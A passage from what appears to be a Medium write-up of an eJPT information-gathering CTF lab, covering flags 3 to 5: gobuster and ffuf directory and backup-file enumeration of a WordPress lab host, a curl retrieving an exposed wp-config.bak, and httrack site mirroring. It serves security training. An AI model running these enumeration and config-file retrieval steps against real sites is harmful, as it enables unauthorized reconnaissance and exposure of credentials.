src="https://cdn-images-1.medium.com/max/624/1*j6mK6gDeGZIhke39lM5hzQ.png" /></figure><p>Let’s move to <strong>flag 3</strong>, so the hint was “Directory browsing might reveal where files are stored”, which means we have to enumerate directories on the target website.</p><p>For this purpose we can use either the gobuster or the ffuf tools. For this part I have used gobuster tool.</p><p><strong>3. Directory Enumeration</strong></p><p>We can enumerate directories from the gobuster, using following command.</p><pre>gobuster dir -u http://target.ine.local -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*LCR7n-KjqAeY7ZFbHeElBQ.png" /></figure><p>As you can see, once we run the code, we will be able to find 3 main directories. <br><strong><em>*/wp-content<br>*/wp-Includes<br>*/wp-admin</em></strong></p><p>But should we stop there? nope! We need to enumerate those main directories so we can have a clear idea about the contents of those main directories.</p><p>Before starting the enumeration for sub-directories, we need to change the URL with the main directory paths.</p><p>Example :</p><p>Assume that we need to enumerate “<strong><em>/wp-content ” </em></strong>with gobuster.<br>Then the <strong>URL </strong>should be modified as <strong><em>http://target.ine.local/wp-content</em></strong></p><pre>gobuster dir -u http://target.ine.local/wp-content -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt</pre><p>As you can see, the only difference between the previous gobuster code and the above code is that the path has been set to one of the main directories. In this case it is “<strong><em>/wp-content</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*GT4Z4fDDZsyAL0C1lS_juw.png" /></figure><p>Once we run the code, the following results will be displayed,<br><strong><em>*/themes<br>*/uploads<br>*/plugins</em></strong></p><p>Let’s look at all those sub directories by clicking the given link in front of the results or you can manually search on the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*o6kJRSuu4MQHtys8zXNsjw.png" /></figure><p>When we open the following links, we will be able to see that under “<strong><em>/uploads</em></strong>”, we have the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*m3HtvY6pgipQkFoAavsOVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ZUEWOOwAlKhC3pv1kfWTaw.png" /></figure><p>So, finally we were able to get the 3rd flag and let’s move to find 4th flag. The hint that was given is “An overlooked backup file in the webroot can be problematic if it reveals sensitive configuration details”. This means we have to search for a backup file that includes sensitive data. The easiest way to do this is by searching for backup files on the web server.</p><p><strong>4. Search backup files on the server</strong></p><p>For this purpose, I have used the ffuf tool but i have provided the instructions on do the same with gobuster tool.</p><p>Extension for the backup files are “<strong>.bak</strong>”. Let’s search for backup files on the server.</p><p>ffuf method:</p><pre>ffuf -u http://target.ine.local/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .bak -mc 200 -c</pre><ul><li>-u : Target URL</li><li>-w : Wordlist</li><li>/FUZZ : fuzzing part</li><li>-mc : Match HTTP status codes</li><li>-c : Colorize output</li><li>-e : Comma separated list of extensions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*H_zGNslPzhbLGlg1ZJyqPA.png" /></figure><p>Gobuster Method :</p><pre>gobuster dir -u http://target.ine.local -w /usr/share/seclists/Discovery/Web-Content/big.txt -x bak</pre><ul><li>-u : Target URL</li><li>-w : Wordlist</li><li>-x : extensions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*yjHL0EDqyGkFPHkoD6NC-w.png" /></figure><p>As we can see from both results, we were able to find that there is one file that is appearing as a backup file with a <strong>.bak</strong> extension that we can access without any issues. <br><strong><em>*/wp-config.bak</em></strong></p><p>Let’s obtain the content and check whether we can find anything useful.</p><pre>curl http://target.ine.local/wp-config.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*fsvGIsYquFxIdeQXR4J0Bg.png" /></figure><p>When we check the content of that backup file, we will be able to see the “<strong>flag 4”</strong>. So finally we found the 4th flag as well.</p><p>Let’s move to find the final flag of this CTF. The hint was given as “Certain files may reveal something interesting when mirrored.” That means, obviously, we have to mirror the website and check the content in it. In other words, it is similar to save the whole website on a local directory. so we can check the content by ourselves, which is copied to our local directory.</p><p>For this purpose I have used the tool called “<strong>httrack</strong>”</p><p><strong>5. Mirror the target website</strong></p><p>Let’s start with mirroring the website and see whether we can find the final flag.</p><pre>httrack http://target.ine.local/ -O targetmirrosite</pre><ul><li>-O : Location to save the copy of the web</li></ul><p>As you can see, I have mirrored the website and saved it to a folder called “<em>targetmirrosite</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*jpv40eQydkAkUYl8cyv6fQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*Nd_Jti48pHgdGnIj6zLr1g.png" /></figure><p>Open the folder “targetmirrosite” which was created in the mirroring process, and check for the “php ”file called “ xmlrpc0db0.php” and you will be able to see the hidden flag, which is “<strong>flag 5”</strong> is there.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2d61b445a78" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/assessment-methodologies-information-gathering-ctf-1-e2d61b445a78">Assessment Methodologies: Information Gathering CTF 1 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>